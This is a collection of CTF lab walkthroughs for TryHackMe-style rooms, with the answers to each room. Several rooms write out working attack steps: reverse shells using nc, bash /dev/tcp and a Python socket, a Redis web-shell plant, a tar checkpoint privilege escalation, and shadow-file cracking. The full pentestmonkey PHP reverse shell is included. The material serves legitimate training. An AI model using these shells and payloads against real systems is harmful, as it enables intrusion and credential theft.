- Match all of the filenames of question 4, except "File7" (use the hat symbol)

	- `[Ff]ile[^7]`

- Match all of the following words: Cat, fat, hat, rat

	- `.at`

- Match all of the following words: Cat, cats

	- `[Cc]ats?`

- Match the following domain name: cat.xyz

	- `cat\.xyz`

- Match all of the following domain names: cat.xyz, cats.xyz, hats.xyz

	- `[ch]ats?\.xyz`

- Match every 4-letter string that doesn't end in any letter from n to z

	- `...[^n-z]`

- Match bat, bats, hat, hats, but not rat or rats (use the hat symbol)

	- `[^r]ats?`

- Match the following word: catssss

	- `cats{4}`

- Match all of the following words (use the * sign): Cat, cats, catsss

	- `[cC]ats*`

- Match all of the following sentences (use the + sign): regex go br, regex go brrrrrr

	- `regex go br+`

- Match all of the following filenames: ab0001, bb0000, abc1000, cba0110, c0000 (don't use a metacharacter)

	- `[abc]{1,3}[01]{4}`

- Match all of the following filenames: File01, File2, file12, File20, File99

	- `[fF]ile\d{1,2}`

- Match all of the following folder names: kali tools, kali     tools

	- `kali\s+tools`

- Match all of the following filenames: notes~, stuff@, gtfob#, lmaoo!

	- `\w{5}\W`

- Match the string in quotes (use the * sign and the \s, \S metacharacters): "2f0h@f0j0%!     a)K!F49h!FFOK"

	- `\S*\s*\S*`

- Match every 9-character string (with letters, numbers, and symbols) that doesn't end in a "!" sign

	- `\S{8}[^!]`

- Match all of these filenames (use the + symbol): `.bash_rc`, `.unnecessarily_long_filename`, and note1

	- `\.?\w+`

- Match every string that starts with "Password:" followed by any 10 characters excluding "0"

	- `Password:[^0]{10}`

- Match "username: " in the beginning of a line (note the space!)

	- `^username:\s`

- Match every line that doesn't start with a digit (use a metacharacter)

	- `^\D`

- Match this string at the end of a line: EOF$

	- `EOF\$$`

- Match all of the following sentences:

	- `I use nano`
    	- `I use vim`
	- `I use (nano|vim)`

- Match all lines that start with $, followed by any single digit,
followed by $, followed by one or more non-whitespace characters

	- `\$\d\$\S+`

- Match every possible IPv4 IP address (use metacharacters and groups)

	- `(\d{1,3}\.){3}\d{1,3}`

- Match all of these emails while also adding the username and the domain name (not the TLD) in separate groups (use \w): `hello@tryhackme.com`, `username@domain.com`, `dummy_email@xyz.com`

	- `(\w+)@(\w+)\.com`

- Thanks!

	  no answer needed


================================================
FILE: Res/README.md
================================================
# Res

- Scan the machine, how many ports are open?

	- `scilla port -target <TARGET_IP>`
	- `*`

- What's is the database management system installed on the server?

	- `Redis`

- What port is the database management system running on?

	- `****`

- What's is the version of management system installed on the server?

	- `nc -v <TARGET_IP> <PORT>`
	- `info`
	- `*.*.*`

- Compromise the machine and locate user.txt

	- `nc -v <TARGET_IP> <PORT>`
	- `config set dir /var/www/html/`
	- `config set dbfilename info.php`
	- `set test "<?php phpinfo(); ?>"`
	- `save`
	- Navigate to `http://<TARGET_IP>/info.php`
	- On your machine `nc -lnvp 4444`
	- On target `config set dir /var/www/html/`
	- `config set dbfilename shell.php`
	- `set test "<?php sytem($_GET['cmd']); ?>"`
	- `save`
	- Navigate to `http://<TARGET_IP>/shell.php?cmd=nc%20<YOUR_IP>%20<PORT>%20-e%20/bin/sh`
	- `id`
	- `cd /home/vianka`
	- `cat user.txt`
	- `*******************************`

- Escalate privileges and obtain root.txt

	- Using [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)
	- `xxd` with SUID bit set.
	- Go on GTFObins and search for SUID xxd.
	- `sudo sh -c 'cp $(which xxd) .; chmod +s ./xxd'`
	- `LFILE=/root/root.txt`
	- `./xxd "$LFILE" | xxd -r`
	- `/usr/bin/xxd "$LFILE" | xxd -r`
	- `********************`

- what is the local user account password?

	- Use the above `xxd` abuse against `/etc/shadow`
	- Then copy only the vianka line of shadow and passwd and paste them inside two files.
	- `unshadow passwd shadow > passwords.txt`
	- `john passwords.txt`
	- `**********`


================================================
FILE: RootMe/README.md
================================================
# RootMe


- Deploy the machine

	no answer needed

- Scan the machine, how many ports are open?

	- `nmap <TARGET_IP>`
	- `2`

- What version of Apache are running?

	- `nmap -sV <TARGET_IP>`
	- `2.4.29`

- What service is running on port 22?

	- `ssh`

- Find directories on the web server using the GoBuster tool.

	no answer needed

	- `gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`

- What is the hidden directory?

	- `/panel/`

- Find a form to upload and get a reverse shell, and find the flag. user.txt

	- Go to `http://<TARGET_IP>/panel/` with a browser
	- Change the default IP address in reverse-shell.php5 with your IP address. (php5 because php is not allowed.)
	- Upload the reverse-shell.php file.
	- On your machine execute `nc -lvnp 1234`
	- You should get a shell.
	- `find / -name user.txt`
	- `cat /var/www/user.txt`
	- `THM{y0u_g0t_a_sh3ll}`

- Search for files with SUID permission, which file is weird?

	- `find / -user root -perm /4000`
	- `/usr/bin/python`

- Find a form to escalate your privileges.

	no answer needed

- root.txt

	- Go to [gtfobins-python-suid](https://gtfobins.github.io/gtfobins/python/#suid)
	- `/usr/bin/python -c 'import os;os.execl("/bin/sh","sh", "-p")'`
	- `cat /root/root.txt`
	- `THM{********_**********}`







================================================
FILE: RootMe/reverse-shell.php5
================================================
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 






================================================
FILE: SSRF/README.md
================================================
# SSRF

- Deploy the VM

	  no answer needed

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- How many ports are open?

	- `5`

- How many users are there on the system?

	- `3`

- Read the above.

	  no answer needed


================================================
FILE: Searchlight-IMINT/README.md
================================================
# Searchlight - IMINT

- Did you understand the flag format?

	- `sl{ready}`

- What is the name of the street where this image was taken?

	- `sl{carnaby street}`

- Which city is the tube station located in?

	- `sl{london}`

- Which tube station do these stairs lead to?

	- `sl{piccadilly circus}`

- Which year did this station open?

	- `sl{1906}`

- How many platforms are there in this station?

	- `sl{4}`

- Which building is this photo taken in?

	- `sl{vancouver international airport}`

- Which country is this building located in?

	- `sl{canada}`

- Which city is this building located in?

	- `sl{vancouver}`

- Which city is this coffee shop located in?

	- `sl{blairgowrie}`

- Which street is this coffee shop located in?

	- `sl{allan street}`

- What is their phone number?

	- `sl{+447878 839128}`

- What is their email address?

	- `sl{theweecoffeeshop@aol.com}`

- What is the surname of the owners?

	- `sl{cochrane}`

- Which restaurant was this picture taken at?

	- `sl{katz's deli}`

- What is the name of the Bon Appétit editor that worked 24 hours at this restaurant?

	- `sl{andrew knowlton}`

- What is the name of this statue?

	- `sl{rudolph the chrome nosed reindeer}`

- Who took this image?

	- `sl{kjersti stensrud}`

- What is the name of the character that the statue depicts?

	- `sl{lady justice}`

- where is this statue located?

	- `sl{alexandria, virginia}`

- What is the name of the building opposite from this statue?

	- `sl{the westin alexandria old town}`

- What is the name of the hotel that my friend is staying in?

	- `sl{novotel singapore clarke quay}`




================================================
FILE: Skynet/README.md
================================================
# Skynet

- What is Miles password for his emails?

	- `scilla port -target <TARGET_IP>`
	- 6 ports open...
	- Looking the website...nice.
	- `nmap -p 139 -A <TARGET_IP>`
	- `enum4linux -h <TARGET_IP> -N`
	- We see share list, permissions and a user.
	- `smbclient //<TARGET_IP>/anonymous -p 139` with no password.
	- Get all the files with `get file` and then `exit`.
	- `hydra -l milesdyson -P log1.txt <TARGET_IP> http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect." -v`
	- `************************`

- What is the hidden directory?

	- Enter in the Miles' mail.
	- You find in the first email the samba Password.
	- `smbclient -U milesdyson //<TARGET_IP>/milesdyson` and enter pwd.
	- `ls`
	- `cd notes`
	- `get important.txt`
	- `*******************`

- What is the vulnerability called when you can include a remote file for malicious purposes?

	- `remote file inclusion`

- What is the user flag?

	- `scilla dir -target <TARGET_IP>/***************`
	- we find a subdir called `administrator`
	- [RFI](https://www.exploit-db.com/exploits/25971)
	- `http://<TARGET_IP>/****************/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd`
	- On your machine `nc -lnvp 1234`
	- Download the pentestmonkey reverse shell and change the ip address.
	- On your machine `sudo python3 -m http.server`
	- `http://<TARGET_IP>/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://<YOUR_IP>:8000/php-reverse-shell.php`
	- `python3 -c 'import pty;pty.spawn("/bin/bash")'`
	- `cd /home/milesdyson`
	- `cat user.txt`
	- `*************************`

- What is the root flag?

	- `cat /etc/crontab`
	- The file backup.sh is executed by root every minute
	- This will help us: `tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh` (from GTFObins)
	- We create a file with the content:
	~~~
	#!/bin/bash
	bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1
	~~~
	- And we save this into `/var/www/html/shell`
	- `chmod +x /var/www/html/shell`
	- `touch /var/www/html/--checkpoint=1`
	- `touch /var/www/html/--checkpoint-action=exec=bash\ shell`
	- On your machine `nc -lvnp 4444`
	- Wait some moments and you get a root shell.
	- `cat /root/root.txt`
	- `*******************************`




================================================
FILE: Starting-Out-In-Cyber-Sec/README.md
================================================
# Starting Out In Cyber Sec

- Read Me and Proceed!

	  no answer needed

- What is the name of the career role that is legally employed to find vulnerabilities in applications?

	- `penetration tester`

- What is the name of the role who's job is to identify attacks against an organisation?

	- `Security Analyst`






================================================
FILE: Startup/README.md
================================================
# Startup

- What is the secret spicy soup recipe?

	- `nmap -sV 10.10.96.10`
	- `ftp <TARGET_IP>` in anonymous mode
	- `mget *`
	- `gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	- The same files I get with ftp there are on http://<TARGET_IP>/files
	- Put a reverse shell in the ftp server.
	- `wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php`
	- Change the default IP with your IP address.
	- `cd ftp` and `put php-reverse-shell.php` inside ftp.
	- `nc -lvnp 1234` on your machine
	- Execute it clicking on the link in http://<TARGET_IP>/files
	- `cat recipe.txt`
	- `love`	

- What are the contents of user.txt?

	- `python3 -c 'import pty;pty.spawn("/bin/bash")'`
	- On your machine `wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh`
	- Serve that file. `nc -lnvp 4444 < linpeas.sh`
	- on target `nc -w 3 <YOUR_IP> 4444 > linpeas.sh`
	- There are some important files I didn't notice.
	- `/incidents/suspicious.pcapng`
	- Serve this fie via nc as before.
	- Grab that file with your machine.
	- `wireshark suspicious.pcapng`
	- At a certain point, looking into packets, you will see a packet saying `password for www-data:`. The next packet will have the password in clear text.
	- `THM{03c**d61******bfb3**********0e79}`

- What are the contents of root.txt?

	- Analyzing lennie's files I see there is a script floder, but I don't have permission to write in planner.sh.
	- Trying with /etc/print.sh worked.
	- On your machine `nc -lnvp 4444`.
	- `echo "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" >> /etc/print.sh` and wait about 1-2 minutes.
	- `cat /root/root.txt`
	- `THM{f963**a6a******22**********76d}`

- Congratulations!

	no answer needed









================================================
FILE: Startup/notice.txt
================================================
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.


================================================
FILE: Steel-Mountain/README.md
================================================
# Steel Mountain

- Who is the employee of the month?

	- Save that image and perform a reverse image search.
	- `Bill ******`

- Scan the machine with nmap. What is the other port running a web server on?

	- `nmap -A -p- <TARGET_IP>`
	- `****`

- Take a look at the other web server. What file server is running?

	- `******* http file server`

- What is the CVE number to exploit this file server?

	- `searchsploit rejetto file server 2.3`
	- Search those on exploitdb.
	- `2014-****`

- Use Metasploit to get an initial shell. What is the user flag?

	- `msfconsole`
	- `search 2014-****`
	- `use 0`
	- `set RHOSTS <TARGET_IP>`
	- `SET RPORT 8080`
	- `exploit`
	- `cat user.txt`
	- `***************************`

- To execute this using Meterpreter, I will type load powershell into meterpreter.

	  no answer needed

	- `wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1`
	- `upload PowerUp.ps1`
	- `load powershell`
	- `powershell_shell`
	- `. .\PowerUp.ps1`
	- `Invoke-AllChecks`

- Take close attention to the CanRestart option that is set to true. What is the name of the name of the service which shows up as an unquoted service path vulnerability?

	- `AdvancedSystemC**********9`

- Upload your binary and replace the legitimate one. Then restart the program to get a shell as root.

	  no answer needed

- What is the root flag?

	- `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=4443 -f exe -o Advanced.exe`
	
	- `........` The only things I remember... sorry
	- `Advanced.exe`
	- `cd C:/Users/Administrator/Desktop`
	- `cat root.txt`
	- `***********************`

	- `......................`


================================================
FILE: Sublist3r/README.md
================================================
# Sublist3r

- You can find Sublist3r [here!](https://github.com/aboul3la/Sublist3r) We'll install this in the next task.

	  no answer needed

- First, let's change to our opt directory: `cd /opt`

	  no answer needed

- Next, let's clone the Sublist3r repository into opt: `git clone https://github.com/aboul3la/Sublist3r.git`

	  no answer needed

- Now let's move into the Sublist3r directory we've just created: `cd /opt/Sublist3r`

	  no answer needed

- Finally, let's install the requirements for running Sublist3r: `pip3 install -r requirements.txt`

	  no answer needed

- What switch can we use to set our target domain to perform recon on?

	- `-d`

- How about setting which engines we'll use for searching? (i.e. google, bing, etc)

	- `-e`

- Saving our output is important both so we don't have to run recon again but also so we can return to our returns and review them at a later time. What switch do we use to define an output file?

	- `-o`

- Sublist3r can sometimes take some time to run but we can speed through up the use of threads. Which switch allows us to set the number of threads?

	- `-t`

- Last but not least, we can also bruteforce the domains for our target. This isn't always the most useful, however, it can sometimes find a key domain that we might have missed. What switch allows us to enable brute forcing?

	- `-b`

- Let's run sublist3r now against `nbc.com`, a fairly large American news company. Run this now with the command: `python3 sublist3r.py -d nbc.com -o sub-output-nbc.txt`

	  no answer needed

- Once that completes open up your results and take a look through them. Email domains are almost always interesting and typically have an email portal (usually Outlook) located at them. Which subdomain is likely the email portal?

	- `mail`

- Administrative control panels should never be exposed to the internet! Which subdomain is exposed that shouldn't be?

	- `admin`

- Company blogs can sometimes reveal information about internal activities, which subdomain has the company blog at it?

	- `blog`

- Development sites are often vulnerable to information disclosure or full-blown attacks. Two developer sites are exposed, which one is associated directly with web development?

	- `dev-www`

- Customer and employee help desk portals can often reveal internal nomenclature and other potentially sensitive information, which dns record might be a helpdesk portal?

	- `help`

- Single sign-on is a feature commonly used in corporate domains, which dns record is directly associated with this feature? Include both parts of this subdomain separated by a period.

	- `ssologin.stg`

- One last one for fun. NBC produced a popular sitcom about typical office work environment, which dns record might be associated with this show?

	- `office-words`


 


================================================
FILE: Sublist3r/sub-output-nbc.txt
================================================
msnbc.com<BR>nbc.com
www.xn--12-nbc.com<BR>xn--12-nbc.com
www.nbc.com
30rock.nbc.com
acc-api.nbc.com
acc-img.nbc.com
acc-m.nbc.com
acc-www.nbc.com
admin.nbc.com
adminmx.nbc.com
agtvote.nbc.com
altaec1.nbc.com
altaec2.nbc.com
altany6.nbc.com
altany7.nbc.com
api.nbc.com
app.nbc.com
apt.nbc.com
www.apt.nbc.com
apt.nbc.com<BR>apt.telemundo.nbc.com<BR>www.apt.nbc.com
apt2gostgaoa-ltm.nbc.com
aptaoa-ltm.nbc.com
aptnewprod2.nbc.com
aptstgaoa-ltm.nbc.com
blog.nbc.com
blogs.nbc.com
boards.nbc.com
boards.nbc.com<BR>www.boards.nbc.com
stage.boards.nbc.com
stage.boards.nbc.com<BR>www.stage.boards.nbc.com
nbc.com<BR>secure.nbc.com
nbc.com<BR>secure.nbc.com<BR>secure-uat.nbc.com
dev.nbc.com
dev-id.nbc.com
dev-www.nbc.com
dmzmarsapps.nbc.com
dmzmarsapps1.nbc.com
dmzmarsapps2.nbc.com
dmzmarsapps21.nbc.com
dmzmarsapps22.nbc.com
e.nbc.com
eastnet.nbc.com
ecstgnbcessowebapps.nbc.com<BR>www.ecstgnbcessowebapps.nbc.com
edit.nbc.com
o92.em.nbc.com
o1.email.nbc.com
o2.email.nbc.com
o3.email.nbc.com
o4.email.nbc.com
o5.email.nbc.com
o6.email.nbc.com
o104.emails.nbc.com
o105.emails.nbc.com
o106.emails.nbc.com
o668.emails.nbc.com
o95.emails.nbc.com
events.nbc.com
forum.nbc.com
frd.nbc.com
help.nbc.com
heroes.nbc.com
id.nbc.com
img.nbc.com
ip129.nbc.com
ip130.nbc.com
ip132.nbc.com
ip133.nbc.com
ip134.nbc.com
ip135.nbc.com
ip136.nbc.com
ip137.nbc.com
ip138.nbc.com
ip139.nbc.com
ip140.nbc.com
ip141.nbc.com
ip143.nbc.com
ip144.nbc.com
ip145.nbc.com
ip147.nbc.com
ip149.nbc.com
ip151.nbc.com
ip153.nbc.com
ip154.nbc.com
ip155.nbc.com
ip156.nbc.com
ip157.nbc.com
ip158.nbc.com
links.nbc.com
login.nbc.com
m.nbc.com
mail.nbc.com
click.mail.nbc.com
image.mail.nbc.com
mta.mail.nbc.com
pages.mail.nbc.com
view.mail.nbc.com
mailer1.nbc.com
mailer2.nbc.com
mailer5.nbc.com
mailer6.nbc.com
mobile.nbc.com
musiccues.nbc.com
my.nbc.com
www.nbc6.nbc.com
nbcaccess.nbc.com
nbcessowebapps.nbc.com<BR>www.nbcessowebapps.nbc.com
nbcsportsgroup-score-portal.nbc.com
nbcsportsgroup-score-portal.nbc.com<BR>www.nbcsportsgroup-score-portal.nbc.com
olympic.nbc.com
www.olympic.nbc.com
olympicsinvitations2.nbc.com
origin-www.nbc.com
ovation.nbc.com
passions.nbc.com
nbc-agt-s13.playtotv.nbc.com
nbc-agt-s13-acceptance.playtotv.nbc.com
nbc-agt-s13-dev.playtotv.nbc.com
nbc-agt-s13-staging.playtotv.nbc.com
nbc-agt-s14.playtotv.nbc.com
nbc-agt-s14-acceptance.playtotv.nbc.com
nbc-agt-s14-dev.playtotv.nbc.com
nbc-agt-s14-staging.playtotv.nbc.com
nbc-thevoice-s15.playtotv.nbc.com
nbc-thevoice-s15-acceptance.playtotv.nbc.com
nbc-thevoice-s15-dev.playtotv.nbc.com
nbc-thevoice-s15-staging.playtotv.nbc.com
nbc-thevoice-s16.playtotv.nbc.com
nbc-thevoice-s16-acceptance.playtotv.nbc.com
nbc-thevoice-s16-dev.playtotv.nbc.com
nbc-thevoice-s16-staging.playtotv.nbc.com
nbc-thevoice-s17.playtotv.nbc.com
nbc-thevoice-s17-acceptance.playtotv.nbc.com
nbc-thevoice-s17-dev.playtotv.nbc.com
nbc-thevoice-s17-staging.playtotv.nbc.com
director.nbc-thevoice-s18-staging.playtotv.nbc.com
backend.nbc-voting-staging.playtotv.nbc.com
director.nbc-voting-staging.playtotv.nbc.com
prod-tsjf-www.nbc.com
prod-www.nbc.com
secure.nbc.com
sportsevents.nbc.com
sportsevents.nbc.com<BR>www.sportsevents.nbc.com
ssologin.nbc.com
ssologin.nbc.com<BR>www.ssologin.nbc.com
stage.nbc.com
stage-id.nbc.com
stage-img.nbc.com
stage-www.nbc.com
login.stg.nbc.com
ssologin.stg.nbc.com
ssologin.stg.nbc.com<BR>www.ssologin.stg.nbc.com
studiopass.nbc.com
tbll.nbc.com
apt.telemundo.nbc.com
video.nbc.com
virtual.nbc.com
backend.nbc-voting-dev-client.vote.nbc.com
director.nbc-voting-dev-client.vote.nbc.com
agtsave.votenow.nbc.com
agtstbvote.votenow.nbc.com
agtvote.votenow.nbc.com
btfvote.votenow.nbc.com
agtappvote-dev.votenow.nbc.com<BR>agtappvote-test.votenow.nbc.com<BR>agtappvote.votenow.nbc.com<BR>agtsave-dev.votenow.nbc.com<BR>agtsave-test.votenow.nbc.com<BR>agtsave.votenow.nbc.com<BR>agtstbvote-dev.votenow.nbc.com<BR>agtstbvote-test.votenow.nbc.com<BR>agtstbvote.votenow.nbc.com<BR>agtvote-dev.votenow.nbc.com<BR>agtvote-test.votenow.nbc.com<BR>agtvote.votenow.nbc.com<BR>secure.votenow.nbc.com
ns1.votenow.nbc.com
ns2.votenow.nbc.com
ns3.votenow.nbc.com
ns4.votenow.nbc.com
voicesave.votenow.nbc.com
voicestbvote.votenow.nbc.com
voicevote.votenow.nbc.com
webxcn1nbcge.nbc.com
webxcn2nbcge.nbc.com
webxpn1nbcge.nbc.com
webxpn2nbcge.nbc.com
widget.nbc.com
apt.wip.nbc.com
ssologin.wip.nbc.com
ssologin.stg.wip.nbc.com
office-words.www.nbc.com
yourgarage.nbc.com


================================================
FILE: The-Cod-Caper/README.md
================================================
# The Cod Caper

- Help me out! :)

	  no answer needed

- How many ports are open on the target machine?

	- `scilla port -target <TARGET_IP>`
	- `*`

- What is the http-title of the web server?

	- `nmap -A -p 80 <TARGET_IP>`
	- `Apache2 ******************`

- What version is the ssh service?

	- `nmap -A -p 22 <TARGET_IP>`
	- `*************************`

- What is the version of the web server?

	- `Apache/*.*.**`

- What is the name of the important file on the server?

	- `gobuster dir -u <TARGET_IP> -w /usr/share/seclists/Discovery/Web-Content/big.txt -x "php,txt"`
	- `a***********.***`

- What is the admin username?

	- `sqlmap -u http://<TARGET_IP>/**************.php --forms --dump`
	- `********`

- What is the admin password?

	- `**********`

- How many forms of SQLI is the form vulnerable to?

	- `*`

- How many files are in the current directory?

	- `ls`
	- `*`

- Do I still have an account

	- `***`

- What is my ssh password?

	- `nc -lvnp 1234`
	- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
	- `cd /home`
	- `cd pingu/.ssh`
	- `cat id_rsa`
	- Copy the private key
	- `chmod 600 id_rsa`
	- `ssh pingu@<TARGET_IP> -i id_rsa`
	- We need a pwd anyway.
	- `find / -name *pass* 2>/dev/null`
	- `cd ***/******/***`
	- SSH with password.
	- `***********`

- What is the interesting path of the interesting suid file

	- `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`
	- `sudo python -m http.server`
	- `wget http://<YOUR_IP>:8000/LinEnum.sh`
	- `chmod +x LinEnum.sh`
	- `./LinENum.sh`
	- `/***/******/****`

- Read the above :)

	  no answer needed

- Woohoo!

	  no answer needed

- Even more woohoo!

	  no answer needed

- What is the root password!

	- Copy the root hash inside a file called `hash`
	- `hashcat -m 1800 hash --wordlist /usr/share/wordlists/rockyou.txt --force`
	- `****2****`

- You helped me out!

	  no answer needed



================================================
FILE: The-find-command/README.md
================================================
# The find command

- Read and follow the instructions.

	  no answer needed

- Find all files whose name ends with ".xml"

	- `find / -type f -name "*.xml"`

- Find all files in the /home directory (recursive) whose name is "user.txt" (case insensitive)

	- `find /home -type f -iname user.txt`

- Find all directories whose name contains the word "exploits"

	- `find / -type d -name "*exploits*"`

- Find all files owned by the user "kittycat"

	- `find / -type f -user kittycat`

- Find all files that are exactly 150 bytes in size

	- `find / -type f -size 150c`

- Find all files in the /home directory (recursive) with size less than 2 KiB’s and extension ".txt"

	- `find /home -type f -size -2k -name "*.txt"`

- Find all files that are exactly readable and writeable by the owner, and readable by everyone else (use octal format)

	- `find / -type f -perm 644`

- Find all files that are only readable by anyone (use octal format)

	- `find / -type f -perm /444`

- Find all files with write permission for the group "others", regardless of any other permissions, with extension ".sh" (use symbolic format)

	- `find / -type f -perm -o=w -name "*.sh"`

- Find all files in the /usr/bin directory (recursive) that are owned by root and have at least the SUID permission (use symbolic format)

	- `find /usr/bin -type f -user root -perm -u=s`

- Find all files that were not accessed in the last 10 days with extension ".png"

	- `find / -type f -atime +10 -name "*.png"`

- Find all files in the /usr/bin directory (recursive) that have been modified within the last 2 hours

	- `find /usr/bin -type f -mmin -120`

- You are now better equipped to find anything you’re looking for in a filesystem.

	  no answer needed




================================================
FILE: Toolbox-Vim/README.md
================================================
# Toolbox: Vim

- Install Vim

	  no answer needed

- Launch Vim

	  no answer needed

- How do we enter "INSERT" mode?    

	- `i`

- How do we start entering text into our new Vim document?

	- `typing`

- How do we return to command mode?

	- `esc`

- How do we move the cursor left?

	- `h`

- How do we move the cursor right?

	- `l`

- How do we move the cursor up?

	- `k`

- How do we move the cursor down?

	- `j`

- How do we jump to the start of a word?

	- `w`

- How do we jump to the end of a word?

	- `e`

- How do we insert (before the cursor)    

	- `i`

- How do we insert (at the beginning of the line?)    

	- `I`

- How do we append (after the cursor)    

	- `a`

- How do we append (at the end of the line) 

	- `A`

- How do we make a new line under the current line?     

	- `o`

- How do we write the file, but don't exit?

	- `:w`

- How do we write the file, but don't exit- as root?

	- `:w !sudo tee %`

- How do we write and quit?

	- `:wq`

- How do we quit?

	- `:q`

- How do we force quit?

	- `:q!`

- How do we save and quit, for all active tabs?

	- `:wqa`

- How do we copy a line?

	- `yy`

- How do we copy 2 lines?

	- `2yy`

- How do we copy to the end of the line?

	- `y$`

- How do we paste the clipboard contents after the cursor?

	- `p`

- How do we paste the clipboard contents before the cursor?

	- `P`

- How do we cut a line?

	- `d`

- How do we cut two lines?

	- `2dd`

- How do we cut to the end of the line?

	- `D`

- How do we cut a character?

	- `x`

- How do we search forwards for a pattern (use "pattern" for your answer)

	- `/pattern`

- How do we search backwards for a pattern (use "pattern" for your answer)

